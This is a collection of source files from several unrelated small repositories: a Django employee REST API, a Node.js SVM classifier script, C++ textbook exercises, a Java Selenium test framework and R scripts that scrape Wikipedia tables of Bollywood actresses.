refs/heads/master
|
<file_sep>from django.urls import path
from .models import employees
from .views import load_employee,load_detail
urlpatterns = [
path('post1/', load_employee),
path('detail/<str:username>/', load_detail),
]<file_sep>from django.db import models
# Create your models here.
class employees(models.Model):
username= models.CharField(max_length=20)
email=models.EmailField(max_length=50)
father_name=models.CharField(max_length=100)
date_of_birth = models.DateField(default=None)
age=models.CharField(max_length=23)
city=models.CharField(max_length=20)
state=models.CharField(max_length=20)
def __str__(self):
return self.username
<file_sep>from django.shortcuts import render
from django.http import HttpResponse,JsonResponse
from django.shortcuts import get_object_or_404
from django.views.decorators.csrf import csrf_exempt #for csrf
from rest_framework.decorators import api_view
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from . models import employees
from . serializer import employeesSerializer
import json
from rest_framework.parsers import JSONParser
@csrf_exempt #problem
def load_employee(request):
if request.method=='POST':
data=JSONParser().parse(request)
serial=employeesSerializer(data=data)
if serial.is_valid():
serial.save()
return JsonResponse(serial.data,status=status.HTTP_201_CREATED)
return JsonResponse(serial.errors,status=status.HTTP_400_BAD_REQUEST)
if request.method == 'GET':
result = []
employee1 = employees.objects.all()
serial = employeesSerializer(employee1, many=True)
return JsonResponse(serial.data, safe=False)
@csrf_exempt
def load_detail(request, username):
try:
emp1 = employees.objects.get(username=username)
except employees.DoesNotExist:
return HttpResponse(status=404)
if request.method == 'GET':
serializer = employeesSerializer(emp1)
return JsonResponse(serializer.data)
'''
elif request.method == 'PUT':
data = JSONParser().parse(request)
serializer = employeesSerializer(emp1, data=data)
if serializer.is_valid():
serializer.save()
return JsonResponse(serializer.data)
return JsonResponse(serializer.errors, status=400)
elif request.method == 'DELETE':
emp1.delete()
return HttpResponse(status=204)
'''<file_sep># Generated by Django 3.1.1 on 2020-09-08 13:39
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('webapp', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='employees',
name='created_on',
),
migrations.RemoveField(
model_name='employees',
name='updated_on',
),
]
|
5cb3f484ec6b5a1a6f1b6a8cc52ce78b34d6b86e
|
[
"Python"
] | 4
|
Python
|
sachin2000k/restapi
|
1a652a5fcf548d2133bd20e354c75a10a048a39a
|
91dd32c99c36677fa86e4bc076ed00f055e202e1
|
refs/heads/master
|
<file_sep>var lineaA = require('./lineaA.js');
var lineaB = require('./lineaB.js');
var lineaC = require('./lineaC.js');
var lineaD = require('./lineaD.js');
module.exports = {
lineaA : lineaA.data,
lineaB : lineaB.data,
lineaC : lineaC.data,
lineaD : lineaD.data
}
<file_sep>var data = require('../resources');
var svm = require('node-svm');
// initialize a new predictor
var clfB = new svm.NuSVC();
var getRandomPopulation = function(){
var population = data.lineaB;
var trainingPercent = Math.floor(data.lineaB.length * 0.8);
var trainingSet = [];
var testSet = [];
for (var i = 0; i<trainingPercent; i++){
var randonIndex = Math.floor(Math.random()*(population.length-1));
trainingSet.push(population[randonIndex]);
population.splice(randonIndex,1);
}
return {
trainingSet:trainingSet,
testSet:population
}
};
var trainPartial = function(){
var randomPopulation = getRandomPopulation();
var trainingSet = randomPopulation.trainingSet;
var testSet = randomPopulation.testSet;
clfB.train(trainingSet).done(function () {
var asserts = 0;
// predict things
testSet.forEach(function(register){
var prediction = clfB.predictSync(register[0]);
if (register[1] === prediction)
asserts++;
});
var assertsPercent = (asserts * 100 )/testSet.length;
if(assertsPercent<70){
console.log('Bajos Linea B 20% restante', assertsPercent);
trainPartial();
}else{
console.log('Porcentaje de aciertos clasificador linea B 20% restante', assertsPercent);
}
});
};
var trainClfB = function(){
clfB.train(data.lineaB).done(function () {
var asserts = 0;
// predict things
data.lineaB.forEach(function(register){
var prediction = clfB.predictSync(register[0]);
if (register[1] === prediction)
asserts++;
});
var assertsPercent = (asserts * 100 )/data.lineaB.length;
if(assertsPercent<95)
trainClfB();
else{
console.log('Porcentaje de aciertos clasificador linea B', assertsPercent);
}
});
};
module.exports = {
test: trainClfB,
testPartial : trainPartial
}
|
e7d8fb520ac8bf5dfef31ea53c619dbfbc93971f
|
[
"JavaScript"
] | 2
|
JavaScript
|
Ignusmart/svm-recomendador
|
cca53ab487bbd7d79a21544c71cdf1bc091a4a82
|
d5aff48a2bfb661debac44334ae980a123cd632f
|
refs/heads/master
|
<file_sep>#include <iostream>
int main(int argc, char const *argv[])
{
3+4;//has no side effect
std::cout<<"This (\") is a quote, and this (\\) is a backlash."<<std::endl;
std::cout<<"This is is a tab \t i just tabbed"<<std::endl;
return 0;
}<file_sep>/*
05:
It needs brackets on main
*/
/*
06
It is valid, but using brackets to limit the scope multiple times this way has not effect
*/
/*
07
Not valid, the first comment /* is closed by the first *\/ leaving the rest of the comment outside
*/
/*
08
Its valid, the single line comment takes precedence over the multiline comment
*/
/*
09
The shortest valid program:
*/
main(){}<file_sep>accel-cpp-exercicios
====================
Alguns exercícios do livro Accelerated C++
|
3e27e4990a3f265eea7a159b8860fe883244ccc9
|
[
"Markdown",
"C++"
] | 3
|
C++
|
goncalopalaio/accel-cpp-exercicios
|
c7ca442076a9d86d67c25d1a7f4366ff3a5a45aa
|
067c3a8e881b60cdda81086c181803226a259526
|
refs/heads/master
|
<repo_name>rahulsambyal/PomComplete<file_sep>/src/main/java/commons/GenericMethods.java
package commons;
import java.io.File;
import java.io.IOException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import org.apache.commons.io.FileUtils;
import org.openqa.selenium.JavascriptExecutor;
import org.openqa.selenium.OutputType;
import org.openqa.selenium.TakesScreenshot;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.support.ui.ExpectedConditions;
import org.openqa.selenium.support.ui.WebDriverWait;
public class GenericMethods {
public static void waitForElementToLoad(WebDriver driver, WebElement element) {
WebDriverWait wait = new WebDriverWait(driver, 5);
wait.until(ExpectedConditions.visibilityOf(element));
}
public static void scrollDown(WebDriver driver) {
JavascriptExecutor js = (JavascriptExecutor) driver;
js.executeScript("window.scrollBy(0,10000)");
}
public static void takeScreenShotForFailedCases(WebDriver driver, String methodName) throws IOException {
File src = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
String date= GenericMethods.systemDate().trim();
File dest = new File(System.getProperty("user.dir") + "/test-output/screenshots/" + methodName + "-" + date + ".png");
FileUtils.copyFile(src, dest);
}
public static String systemDate() {
DateFormat dateFormat = new SimpleDateFormat("yyyyMMddHHmmss");
Date date = new Date();
return (dateFormat.format(date));
}
}
<file_sep>/src/test/java/webPages/LinkedInLoginPage.java
package webPages;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.support.FindBy;
import org.openqa.selenium.support.PageFactory;
import commons.BaseClass;
public class LinkedInLoginPage extends BaseClass{
public LinkedInLoginPage(WebDriver driver) {
super(driver);
PageFactory.initElements(driver, this);
}
@FindBy(xpath="//a[text()='Sign in']")
public WebElement signIn;
@FindBy(xpath="//label[contains(text(),'Email')]")
public WebElement username;
@FindBy(xpath="//label[contains(text(),'Password')]")
public WebElement password;
@FindBy(xpath="//button[contains(text(),'Sign in')]")
public WebElement signin;
}
<file_sep>/src/test/java/webTests/OpenWingfy.java
package webTests;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.testng.Reporter;
import org.testng.annotations.Test;
import commons.BaseClass;
import commons.DataHolder;
import commons.FrameworkConstants;
import commons.GenericMethods;
import commons.TestDataInfo;
import webPages.HomePage;
public class OpenWingfy extends BaseClass {
public static final Logger log = LoggerFactory.getLogger(OpenWingfy.class);
@TestDataInfo(sheetName = "Login")
@Test(dataProvider = "inputData", dataProviderClass = DataHolder.class)
public void openUrl(String username, String password) {
String url = FrameworkConstants.urlWingfy;
log.info("Url is: " + url);
WebDriver driver = getDriver();
driver.get(url);
Reporter.log(url);
Reporter.log("Logged in");
HomePage homePage = new HomePage(driver);
GenericMethods.waitForElementToLoad(driver, homePage.heatMaps);
Reporter.log("HeatMap displayed");
}
}
<file_sep>/src/test/java/webTests/OpenLinkedIn.java
package webTests;
import org.openqa.selenium.WebDriver;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.testng.Reporter;
import org.testng.annotations.Test;
import commons.BaseClass;
import commons.DataHolder;
import commons.FrameworkConstants;
import commons.TestDataInfo;
import webPages.LinkedInLoginPage;
public class OpenLinkedIn extends BaseClass {
public static final Logger log= LoggerFactory.getLogger(OpenLinkedIn.class);
@TestDataInfo(sheetName = "Login")
@Test(dataProvider = "inputData", dataProviderClass = DataHolder.class)
public void openUrl(String username, String password) {
LinkedInLoginPage linkedInLoginPage = new LinkedInLoginPage(driver);
String url = FrameworkConstants.urlLinkedIn;
WebDriver driver =getDriver();
driver.get(url);
linkedInLoginPage.signIn.click();
log.info("clicked on sign in");
Reporter.log("clicked on sign in");
log.info("clicked on sign in");log.info("clicked on sign in");log.info("clicked on sign in");log.info("clicked on sign in");log.info("clicked on sign in");
// linkedInLoginPage.username.sendKeys(username);
log.info("entered username");
Reporter.log("entered username");
linkedInLoginPage.password.sendKeys(password);
log.info("entered password");
Reporter.log("entered password");
linkedInLoginPage.signin.click();
log.info("clicked on sign in");
Reporter.log("clicked on sign in");
}
}
<file_sep>/src/main/java/Listeners/Reporter.java
package Listeners;
import java.io.File;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import javax.management.RuntimeErrorException;
import org.testng.ITestListener;
import org.testng.ITestResult;
import com.aventstack.extentreports.ExtentReports;
import com.aventstack.extentreports.reporter.ExtentHtmlReporter;
import com.aventstack.extentreports.reporter.configuration.Theme;
import com.relevantcodes.extentreports.ExtentTest;
public class Reporter implements ITestListener {
private static ThreadLocal<ExtentTest> suiteR= new ThreadLocal<>();
private static ThreadLocal<ExtentTest> testR= new ThreadLocal<>();
private static ThreadLocal<ExtentTest> currentTest= new ThreadLocal<>();
private static Map<String,ExtentTest> testMap= new ConcurrentHashMap<>();
private static Map<String,ExtentTest> methodMap= new ConcurrentHashMap<>();
private static final String reportName="My Report Name";
public static ThreadLocal<ExtentTest> getCurrentTest(){
return currentTest;
}
private static class ExtentManager{
private static ExtentReports report;
private static ExtentHtmlReporter htmlReport;
private static ExtentHtmlReporter htmlLogConverter;
private ExtentManager() {
}
public synchronized static ExtentHtmlReporter getHtmlReporter() {
if(null== report)
throw new RuntimeException("Extent reports not initialized yet");
return htmlReport;
}
/*
* public synchronized static ExtentReports getReporter() { if(null== report)
* report = new ExtentReports(); String reportPath=
* System.getProperty("base.path")+"\\ExtentReport.html"; File reportFile= new
* File(reportPath); if(!reportFile.exists()) { File dirOfFile =
* reportFile.getParentFile(); dirOfFile.mkdir(); try {
* reportFile.createNewFile(); }catch(IOException e) { e.printStackTrace(); } }
* htmlReport= new ExtentHtmlReporter(reportFile);
* htmlReport.config().setTheme(Theme.STANDARD); //
* htmlReport.config().setChartVisibityOnOpen(true);
*
* return htmlReport; }
*/
}
}
|
882bccbfc032b5574f10ff681dd21a6f9c2e2af4
|
[
"Java"
] | 5
|
Java
|
rahulsambyal/PomComplete
|
20888a91279e95ba0ea69158ddb42f980d8c8c9a
|
db9e0f6aa30f31af0b33e06d6a75635f3a552a67
|
refs/heads/master
|
<file_sep>import path from 'path'
import notifier from 'node-notifier'
import { ipcRenderer, remote } from 'electron'
notifier.on('click', () => {
ipcRenderer.send('MAINWIN:window-show')
})
let notify
export default message => {
notifier.notify({
title: '钉钉',
message,
icon: `file://${path.join(remote.app.getAppPath(), './icon/128x128.png')}`
}, err => {
if (!err) return
if (notify instanceof Notification) {
notify.close()
}
if (Notification.permission === 'granted') {
notify = new Notification('钉钉', {
body: message,
icon: 'https://g.alicdn.com/dingding/web/0.1.8/img/logo.png'
})
} else if (Notification.permission !== 'denied') {
Notification.requestPermission(permission => {
// 如果用户同意,就可以向他们发送通知
if (permission === 'granted') {
notify = new Notification('钉钉', {
body: message,
icon: 'https://g.alicdn.com/dingding/web/0.1.8/img/logo.png'
})
}
})
}
})
}
<file_sep># dingtalk[](https://travis-ci.org/nashaofu/dingtalk)[](https://ci.appveyor.com/project/nashaofu/dingtalk/branch/master)
钉钉桌面版,基于electron和钉钉网页版开发,支持Windows、Linux和macOS
## 公司招聘
杭州氦氪科技有限公司(项目作者公司)招聘初级、中级前端工程师,欢迎投递简历
邮箱:<EMAIL>
拉钩地址:https://www.lagou.com/jobs/4439026.html
公司官网:https://www.hekr.me/cn/
有意向者可直接发送简历到邮箱,或者通过GitHub联系我
工作职责:
1. 负责产品的的前端系统设计、开发,实现页面原型效果;
2. 优化前端框架,封装公共js,实现页面复杂功能实现,解决开发过程中遇到的问题;
3. 编写可复用的用户界面组件;
4. 协助后台开发人员实现页面及交互,完成前后端合并。
职位要求:
1. 2年以上的前端领域开发经验,
2. 精通HTML5、CSS3、 DIV+CSS,能够高效构建WEB前端项目与应用
3. 熟悉前端性能优化,熟练使用各种调试抓包工具,能独立分析、解决和归纳问题
4. 熟悉前端MVVM架构(Vue.js或React.js)2年以上开发经验者优先
5. 熟练使用gulp,webpack,babel等前端工具
6. 熟悉git,有良好的代码习惯
7. 前端性能优化,熟练使用各种调试抓包工具,能独立分析、解决和归纳问题
8. 较好的问题解决能力、沟通能力及学习能力,能反馈并主动Push项目问题的解决
加分项:
1. 了解mvvm框架实现原理
2. 有参与开源项目
3. 有代码洁癖
4. 阅读过开源项目源码
## 安装步骤
> 直接从[GitHub relase](https://github.com/nashaofu/dingtalk/releases/latest)页面下载最新版安装包即可
## 手动构建
```bash
# 安装依赖
npm i
# 打包源码
npm run build
# 生成安装包
npm run release
```
注:最后一个命令运行会报错,如果报错信息为token相关,直接忽略即可,该报错为部署到GitHub release时token不存在的错误,生成的包是完全正常的
## 截图效果
1. 二维码登录页面

2. 账号密码登录页面

3. 登录后页面展示

4. 邮箱打开效果

5. 截图效果预览

6. 网络错误页面

7. 系统设置界面

8. 关于界面

## 功能说明
1. 本版本是基于网页版钉钉和electron制作的
2. 本版本与网页版的区别
* 解决了网页版钉钉内容区域无法最大化的问题
* 除了少数的功能未能够完全实现,其余的使用体验和PC版钉钉基本一致
3. 支持屏幕截图,并且支持多显示器截图。截图快捷键为`ctrl+alt+a`
4. 添加应用分类,[Linux系统分类](https://specifications.freedesktop.org/menu-spec/latest/apa.html#main-category-registry)
5. 目前已经支持Linux、macOS和Windows三个平台
## 更新说明
1. 支持屏幕截图,并且支持多显示器截图。截图快捷键为`ctrl+alt+a`,2017-10-23
2. 支持网络错误页面提示,网络恢复自动跳转到登陆页面,2017-12-28
3. 修改网络错误页面,支持快捷键设置,2018-02-07
4. 更新截图功能,支持多显示器截图,目前确认支持Ubuntn16,Ubuntn17不支持,其他Linux系统未测试,其中使用了[shortcut-capture](https://github.com/nashaofu/shortcut-capture)模块来实现截图;修复设置页面不修改快捷键时,点击保存时提示错误的BUG,2018-03-03
5. 整个项目采用webpack打包,采用electron-builder来构建应用,分别构建生成三大平台安装包,2018-03-22
6. 添加关于页面,文件下载进度支持,消息提示不弹出问题修复,修复Linux更新问题,2018-04-01
7. 修复消息提示node-notifier图标显示问题,2018-04-07
## TODO
- [x] 支持网络断开时显示错误页
- [x] 添加关于页面
- [x] 消息提示在windows上不出来的BUG,或者替换为node-notifier模块
## 关于支持加密信息的说明
加密信息暂不支持,详情请看[企业信息加密相关](https://github.com/nashaofu/dingtalk/issues/2),也欢迎各位朋友能够去研究一下,帮助实现这个功能
|
9d5cf1e27669a13df8de589035d9ba81d11d01fb
|
[
"JavaScript",
"Markdown"
] | 2
|
JavaScript
|
yufeixuancplus/dingtalk
|
379572284b4d84e508bab4c80e42c9da0ae2b8d9
|
78cc1447e5a93dee5cbe83079436c26bb508dfe6
|
refs/heads/master
|
<file_sep># Pokedex
A Pokedex iOS application that stores all of the information for the original Pokemon.
# What I Learned
* Parse CSV files
* Custom collection view delegate, data source, flow layout
* Search bar & search filtering
* Practice API, CocoaPods, & AlamoFire integration
* Download & parse data
* & much more
<file_sep>//
// PokeCell.swift
// Pokedex
//
// Created by medhat on 9/21/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import UIKit
class PokeCell: UICollectionViewCell {
//Outlets
@IBOutlet weak var thumbImg: UIImageView!
@IBOutlet weak var nameLbl: UILabel!
//Round the corners of the cell
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
layer.cornerRadius = 5.0
}
//Update Cell When Called
func configureCell(pokemon: Pokemon) {
nameLbl.text = pokemon.name.capitalized
thumbImg.image = UIImage(named: "\(pokemon.pokedexId)")
}
}
|
721d27a0c68265ff04e3c61c2ff5008b0712d2c3
|
[
"Markdown",
"Swift"
] | 2
|
Markdown
|
medhatm3bd/Pokedex-master
|
b9863d7ee4f9a76e9b42d0a49700ac3d44f03d29
|
3f09b55eb09c3d0304e264adbcdaf50d4c410e50
|
refs/heads/master
|
<repo_name>blascokoa/AutoBotmax<file_sep>/botmax_autoclick.py
import time
import pyautogui
import random
"""
AutoClick Bot for automate trading on exchanges where there isn't available an api to trade
Use this bot doesn't ensure you make profits, use it under your own responsability.
Credits of the bot to @dblama
"""
def main():
pyautogui.PAUSE = random.uniform(0.2, 0.5)
pyautogui.FAILSAFE = True
print("------------------- AUTOBOTMAX -------------------")
print("-------------- Developed by @dblama --------------")
time.sleep(1)
loops = int(input("How many loops do you want to do?:"))
print(f"Ok, AutoBotMax will run {loops} loops of buy-sell")
time.sleep(0.2)
print("Now we will configurate the coordinates of the buttons...")
time.sleep(1)
# BUY Options:
input("Put the cursor on the FIRST SELL ORDER ON THE BOOK and press ENTER")
buy_price_x, buy_price_y = pyautogui.position()
print(f"Coordinate recorded: {buy_price_x},{buy_price_y}")
input("Put the cursor on the BUY ORDER SIZE and press ENTER")
buy_size_x, buy_size_y = pyautogui.position()
print(f"Coordinate recorded: {buy_size_x},{buy_size_y}")
input("Put the cursor on the BUY BUTTON ON TOP LEFT and press ENTER")
buy_button_x_top, buy_button_y_top = pyautogui.position()
print(f"Coordinate recorded: {buy_button_x_top},{buy_button_y_top}")
input("Put the cursor on the BUY BUTTON ON BOTTOM RIGHT and press ENTER")
buy_button_x_bottom, buy_button_y_bottom = pyautogui.position()
print(f"Coordinate recorded: {buy_button_x_bottom},{buy_button_y_bottom}")
# SELL Options
input("Put the cursor on the BOOK ORDER SELL and press ENTER")
sell_price_x, sell_price_y = pyautogui.position()
print(f"Coordinate recorded: {sell_price_x},{sell_price_y}")
input("Put the cursor on the SELL ORDER SIZE and press ENTER")
sell_size_x, sell_size_y = pyautogui.position()
print(f"Coordinate recorded: {sell_size_x},{sell_size_y}")
input("Put the cursor on the SELL BUTTON ON TOP LEFT and press ENTER")
sell_button_x_top, sell_button_y_top = pyautogui.position()
print(f"Coordinate recorded: {sell_button_x_top},{sell_button_y_top}")
input("Put the cursor on the SELL BUTTON ON BOTTOM RIGHT and press ENTER")
sell_button_x_bottom, sell_button_y_bottom = pyautogui.position()
print(f"Coordinate recorded: {sell_button_x_bottom},{sell_button_y_bottom}")
# Cancel Button
input("Put the cursor on the CANCELL BUTTON ON BOTTOM RIGHT and press ENTER")
cancel_button_x_bottom, cancel_button_y_bottom = pyautogui.position()
print(f"Coordinate recorded: {cancel_button_x_bottom},{cancel_button_y_bottom}")
input("Put the cursor on the CANCELL BUTTON ON TOP LEFT and press ENTER")
cancel_button_x_top, cancel_button_y_top = pyautogui.position()
print(f"Coordinate recorded: {cancel_button_x_top},{cancel_button_y_top}")
input("Put the cursor on the CONFIRM CANCELL BUTTON ON BOTTOM RIGHT and press ENTER")
confirm_cancel_button_x_bottom, confirm_cancel_button_y_bottom = pyautogui.position()
print(f"Coordinate recorded: {confirm_cancel_button_x_bottom},{confirm_cancel_button_y_bottom}")
input("Put the cursor on the CONFIRM CANCELL BUTTON ON TOP LEFT and press ENTER")
confirm_cancel_button_x_top, confirm_cancel_button_y_top = pyautogui.position()
print(f"Coordinate recorded: {confirm_cancel_button_x_top},{confirm_cancel_button_y_top}")
secs_between_clicks = random.uniform(0.1, 0.5)
secs_between_clicks = 0
clicks = 1
print("----- Bot Starts running ----- ")
print("----- Credits to @dblama ----- ")
for i in range(loops):
# Buy serie
pyautogui.click(x=buy_price_x, y=buy_price_y, clicks=clicks, interval=secs_between_clicks, button='left')
time.sleep(random.uniform(1, 1.5))
pyautogui.click(x=buy_size_x, y=buy_size_y, clicks=clicks, interval=secs_between_clicks, button='left')
time.sleep(random.uniform(1, 1.5))
pyautogui.click(x=random.uniform(buy_button_x_bottom, buy_button_x_top), y=random.uniform(buy_button_y_top,
buy_button_y_bottom), clicks=clicks, interval=secs_between_clicks, button='left')
time.sleep(random.uniform(1, 1.5))
# Cancel
pyautogui.click(x=random.uniform(cancel_button_x_bottom, cancel_button_x_top),
y=random.uniform(cancel_button_y_top,
cancel_button_y_bottom), clicks=clicks, interval=secs_between_clicks,
button='left')
time.sleep(random.uniform(1, 1.5))
pyautogui.click(x=random.uniform(confirm_cancel_button_x_bottom, confirm_cancel_button_x_top),
y=random.uniform(confirm_cancel_button_y_top, confirm_cancel_button_y_bottom),
clicks=clicks, interval=secs_between_clicks,
button='left')
# Sell serie
time.sleep(random.uniform(1, 1.5))
pyautogui.click(x=sell_price_x, y=sell_price_y, clicks=clicks, interval=secs_between_clicks, button='left')
time.sleep(random.uniform(1, 1.5))
pyautogui.click(x=sell_size_x, y=sell_size_y, clicks=clicks, interval=secs_between_clicks, button='left')
time.sleep(random.uniform(1, 1.5))
pyautogui.click(x=random.uniform(sell_button_x_top, sell_button_x_bottom), y=random.uniform(sell_button_y_top,
sell_button_y_bottom), clicks=clicks, interval=secs_between_clicks, button='left')
time.sleep(random.uniform(1, 1.5))
# Cancel
pyautogui.click(x=random.uniform(cancel_button_x_bottom, cancel_button_x_top), y=random.uniform(cancel_button_y_top,
cancel_button_y_bottom), clicks=clicks, interval=secs_between_clicks, button='left')
time.sleep(random.uniform(1, 1.5))
pyautogui.click(x=random.uniform(confirm_cancel_button_x_bottom, confirm_cancel_button_x_top),
y=random.uniform(confirm_cancel_button_y_top, confirm_cancel_button_y_bottom),
clicks=clicks, interval=secs_between_clicks,
button='left')
time.sleep(random.uniform(1, 1.5))
print(f"Running the loop {i+1} of {loops}")
print("----- Bot finish ----- ")
print("----- Credits to @dblama ----- ")
if __name__ == '__main__':
main()
<file_sep>/README.md
# AutoBotmax
Autoclick Bot for trading.
## Install the bot running:
python setup.py install
## Run the bot with:
python botmax_autoclick.py
## Disclaimer
This bot is only for research purposes, it doesn't ensure any kind of profit, use it only under your own responsability.
DONATIONS:
- ETH: 0xD48e7674D8eb23B9CAb4538Dfd32f9a475dC9FE1
- BTC: 14fRMQHac9CDYedPQTRrBxLNxoj9zPsJAc
<file_sep>/setup.py
from setuptools import setup
setup(name='AutoBotMax',
version='0.01',
description='AutoClick Bot for all exchanges',
url='https://github.com/blascokoa',
author='Blasco - @dblama',
author_email='<EMAIL>',
python_requires='>=3.7',
license='MIT',
install_requires=[
'pyautogui',
],
zip_safe=False)
|
1a7567ee049f3d75db54bd46cf189f46276dc73e
|
[
"Markdown",
"Python"
] | 3
|
Python
|
blascokoa/AutoBotmax
|
a39e8752c336ceeb60999e7098b97dea4f0473fd
|
003f4e9dd66d2535759f55ebeb2d753b27f82298
|
refs/heads/master
|
<repo_name>puneeth019/Bollywoodata<file_sep>/actresses/actresses_names.R
# Scrape Bollywood Actress names from wiki
library(XML) # Load `XML` package
library(dplyr) # Load `dplyr` package
library(rvest) # Load `rvest` package
library(stringr)# Load `stringr` package
file_url <- "https://en.wikipedia.org/wiki/List_of_Bollywood_actresses"
# Assign the wiki url to `file_url`
table_actresses_1940 <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[2]') %>%
html_table(header = TRUE, trim = TRUE, fill = TRUE)
table_actresses_1950 <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(header = TRUE, trim = TRUE, fill = TRUE)
table_actresses_1960 <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[4]') %>%
html_table(header = TRUE, trim = TRUE, fill = TRUE)
table_actresses_1970 <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[5]') %>%
html_table(header = TRUE, trim = TRUE, fill = TRUE)
table_actresses_1980 <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[6]') %>%
html_table(header = TRUE, trim = TRUE, fill = TRUE)
table_actresses_1990_1 <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[7]') %>%
html_table(header = TRUE, trim = TRUE, fill = TRUE)
table_actresses_1990_2 <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[8]') %>%
html_table(header = TRUE, trim = TRUE, fill = TRUE)
table_actresses_2000 <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[9]') %>%
html_table(header = TRUE, trim = TRUE, fill = TRUE)
table_actresses_2010_1 <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[10]') %>%
html_table(header = TRUE, trim = TRUE, fill = TRUE)
table_actresses_2010_2 <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[11]') %>%
html_table(header = TRUE, trim = TRUE, fill = TRUE)
# Convert `list`s into `data.frame`s
table_actresses_1940 <- table_actresses_1940[[1]]
table_actresses_1940 <- as.data.frame(x = table_actresses_1940)
table_actresses_1950 <- table_actresses_1950[[1]]
table_actresses_1950 <- as.data.frame(x = table_actresses_1950)
table_actresses_1960 <- table_actresses_1960[[1]]
table_actresses_1960 <- as.data.frame(x = table_actresses_1960)
table_actresses_1970 <- table_actresses_1970[[1]]
table_actresses_1970 <- as.data.frame(x = table_actresses_1970)
table_actresses_1980 <- table_actresses_1980[[1]]
table_actresses_1980 <- as.data.frame(x = table_actresses_1980)
table_actresses_1990_1 <- table_actresses_1990_1[[1]]
table_actresses_1990_1 <- as.data.frame(x = table_actresses_1990_1)
table_actresses_1990_2 <- table_actresses_1990_2[[1]]
table_actresses_1990_2 <- as.data.frame(x = table_actresses_1990_2)
table_actresses_2000 <- table_actresses_2000[[1]]
table_actresses_2000 <- as.data.frame(x = table_actresses_2000)
table_actresses_2010_1 <- table_actresses_2010_1[[1]]
table_actresses_2010_1 <- as.data.frame(x = table_actresses_2010_1)
table_actresses_2010_2 <- table_actresses_2010_2[[1]]
table_actresses_2010_2 <- as.data.frame(x = table_actresses_2010_2)
# Rename columns
names(table_actresses_1940) <- c("Name", "Film", "Year", "Film2", "Year2")
table_actresses_1940 <- select(.data = table_actresses_1940, (Name:Year))
names(table_actresses_1950) <- c("Name", "Film", "Year")
names(table_actresses_1960) <- c("Name", "Film", "Year")
names(table_actresses_1970) <- c("Name", "Film", "Year")
names(table_actresses_1980) <- c("Name", "Film", "Year")
names(table_actresses_1990_1) <- c("Name", "Film", "Year")
names(table_actresses_1990_2) <- c("Name", "Film")
names(table_actresses_2000) <- c("Name", "Film", "Year")
names(table_actresses_2010_1) <- c("Name", "Film", "Year")
names(table_actresses_2010_2) <- c("Name", "Film", "Year")
# Convert `data.frame`s into `tibble`s
table_actresses_1940 <- tbl_df(table_actresses_1940)
table_actresses_1950 <- tbl_df(table_actresses_1950)
table_actresses_1960 <- tbl_df(table_actresses_1960)
table_actresses_1970 <- tbl_df(table_actresses_1970)
table_actresses_1980 <- tbl_df(table_actresses_1980)
table_actresses_1990_1 <- tbl_df(table_actresses_1990_1)
table_actresses_1990_2 <- tbl_df(table_actresses_1990_2)
table_actresses_2000 <- tbl_df(table_actresses_2000)
table_actresses_2010_1 <- tbl_df(table_actresses_2010_1)
table_actresses_2010_2 <- tbl_df(table_actresses_2010_2)
# merge data from all years into a single `data.frame`
table_actresses_full <- full_join(x = table_actresses_1940, y =table_actresses_1950, by = NULL)
table_actresses_full <- full_join(x = table_actresses_full, y =table_actresses_1960, by = NULL)
table_actresses_full <- full_join(x = table_actresses_full, y =table_actresses_1970, by = NULL)
table_actresses_full <- full_join(x = table_actresses_full, y =table_actresses_1980, by = NULL)
table_actresses_full <- full_join(x = table_actresses_full, y =table_actresses_1990_1, by = NULL)
table_actresses_full <- full_join(x = table_actresses_full, y =table_actresses_1990_2, by = NULL)
table_actresses_full <- full_join(x = table_actresses_full, y =table_actresses_2000, by = NULL)
table_actresses_full <- full_join(x = table_actresses_full, y =table_actresses_2010_1, by = NULL)
table_actresses_full <- full_join(x = table_actresses_full, y =table_actresses_2010_2, by = NULL)
# remove repetitions
table_actresses_full <- table_actresses_full[!duplicated(x = table_actresses_full$Name),]
# clean text in column-1
table_actresses_full$Name <- gsub(pattern = "(.*)\\(.*", replacement = '\\1', x = table_actresses_full$Name)
table_actresses_full$Name <- str_trim(string = table_actresses_full$Name)
# clean text in column-2
table_actresses_full$Film <- gsub(pattern = "(.*)[\n].*", replacement = '\\1', x = table_actresses_full$Film)
# convert `tibble` into `data.frame`
table_actresses_full <- as.data.frame(table_actresses_full)
write.csv(x = table_actresses_full, file = 'actresses_names.csv')
<file_sep>/actresses/amrita_singh.R
# Sample script to scrape table from webpage
library(rvest) # Load `rvest` package
library(dplyr) # Load `dplyr` pacakge
library(stringr) # Load `stringr` package
file_url <- "https://en.wikipedia.org/wiki/Amrita_Singh"
# Assign the wiki url to `file_url`
table_amritasingh <- file_url %>%
read_html() %>%
html_nodes(xpath='//*[@id="mw-content-text"]/table[3]') %>%
html_table(fill = TRUE, trim = TRUE, header = TRUE)
table_amritasingh <- table_amritasingh[[1]]
